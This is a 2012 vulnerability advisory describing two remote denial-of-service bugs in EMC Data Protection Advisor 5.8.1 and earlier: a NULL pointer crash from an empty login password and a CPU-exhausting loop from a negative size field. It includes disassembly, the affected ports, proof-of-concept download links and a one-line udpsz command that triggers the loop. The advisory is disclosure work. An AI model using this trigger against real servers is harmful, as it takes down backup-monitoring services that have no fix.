#######################################################################
Luigi Auriemma
Application: EMC Data Protection Advisor
http://www.emc.com/backup-and-recovery/data-protection-advisor/data-protection-advisor.htm
Versions: <= 5.8.1
Platforms: AIX, HP-UX, Linux, Solaris, Windows
Bugs: A] cProcessAuthenticationData NULL pointer
B] thread CPU 100%
Exploitation: remote
Date: 29 Mar 2012
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org
#######################################################################
1) Introduction
2) Bugs
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
From vendor's homepage:
"EMC Data Protection Advisor: Manage service levels, reduce complexity,
and eliminate manual efforts with EMC’s powerful data protection
management software that automates monitoring, analysis, alerting, and
reporting across backup, replication, and virtual environments."
#######################################################################
=======
2) Bugs
=======
------------------------------------------
A] cProcessAuthenticationData NULL pointer
------------------------------------------
The missing password field or an empty password in the
AUTHENTICATECONNECTION command required to login leads to a NULL
pointer dereference in the DPA_Utilities.cProcessAuthenticationData
function:
10042EA0 /$ 55 PUSH EBP
10042EA1 |. 8BEC MOV EBP,ESP
10042EA3 |. 83EC 0C SUB ESP,0C
10042EA6 |. A1 B04F0C10 MOV EAX,DWORD PTR DS:[100C4FB0]
10042EAB |. 33C5 XOR EAX,EBP
10042EAD |. 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
10042EB0 |. 53 PUSH EBX
10042EB1 |. 56 PUSH ESI
10042EB2 |. 8BF1 MOV ESI,ECX
10042EB4 |. 57 PUSH EDI
10042EB5 |. 56 PUSH ESI
10042EB6 |. E8 93E3FBFF CALL DPA_Util.decodeString
10042EBB |. 8BC8 MOV ECX,EAX
10042EBD |. 83C4 08 ADD ESP,8
10042EC0 |. 8D59 01 LEA EBX,DWORD PTR DS:[ECX+1]
10042EC3 |> 8A11 /MOV DL,BYTE PTR DS:[ECX] ; strlen() NULL pointer
10042EC5 |. 83C1 01 |ADD ECX,1
10042EC8 |. 84D2 |TEST DL,DL
10042ECA |.^75 F7 \JNZ SHORT DPA_Util.10042EC3
------------------
B] thread CPU 100%
------------------
Endless loop in the DPA_Utilities library while handling the protocol
if it's used a negative 64bit size field:
100138FC > 3BF1 CMP ESI,ECX
100138FE . 75 0C JNZ SHORT DPA_Util.1001390C
10013900 . 8B55 E4 MOV EDX,DWORD PTR SS:[EBP-1C]
10013903 . 0B55 E8 OR EDX,DWORD PTR SS:[EBP-18]
10013906 . 0F84 C1020000 JE DPA_Util.10013BCD
1001390C > 2975 DC SUB DWORD PTR SS:[EBP-24],ESI
1001390F . 68 20870910 PUSH DPA_Util.10098720 ; "nsReadRequest"
...
100137F0 > 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8]
100137F3 > 8B75 E4 MOV ESI,DWORD PTR SS:[EBP-1C]
100137F6 > 837D E8 00 CMP DWORD PTR SS:[EBP-18],0 ; signed comparison
100137FA . 7F 4A JG SHORT DPA_Util.10013846
100137FC . 7C 04 JL SHORT DPA_Util.10013802
100137FE . 85F6 TEST ESI,ESI
10013800 . 77 44 JA SHORT DPA_Util.10013846
10013802 > 837D E0 00 CMP DWORD PTR SS:[EBP-20],0 ; signed comparison
10013806 . 0F8C 0B040000 JL DPA_Util.10013C17
1001380C . 7F 0A JG SHORT DPA_Util.10013818
1001380E . 837D DC 00 CMP DWORD PTR SS:[EBP-24],0
10013812 . 0F86 FF030000 JBE DPA_Util.10013C17
10013818 > BF 1B700910 MOV EDI,DPA_Util.1009701B
1001381D . 33F6 XOR ESI,ESI
1001381F > 33C9 XOR ECX,ECX
10013821 . 894D F4 MOV DWORD PTR SS:[EBP-C],ECX
10013824 . 894D F0 MOV DWORD PTR SS:[EBP-10],ECX
10013827 . 390B CMP DWORD PTR DS:[EBX],ECX
10013829 . 894D F8 MOV DWORD PTR SS:[EBP-8],ECX
1001382C . 894D EC MOV DWORD PTR SS:[EBP-14],ECX
1001382F . 0F84 C7000000 JE DPA_Util.100138FC
Note that this loop doesn't affect the working of the other connections
to the affected service.
Both the bugs can be exploited in the following services:
- DPA_Controller on port 3916
- DPA_Listener on port 4001
#######################################################################
===========
3) The Code
===========
A]
http://aluigi.org/poc/dpa_1.zip
dpa_1 SERVER
B]
http://aluigi.org/testz/udpsz.zip
udpsz -c "18446744073709551615/1/UNB" -T SERVER 3916 -1
#######################################################################
======
4) Fix
======
No fix.
#######################################################################
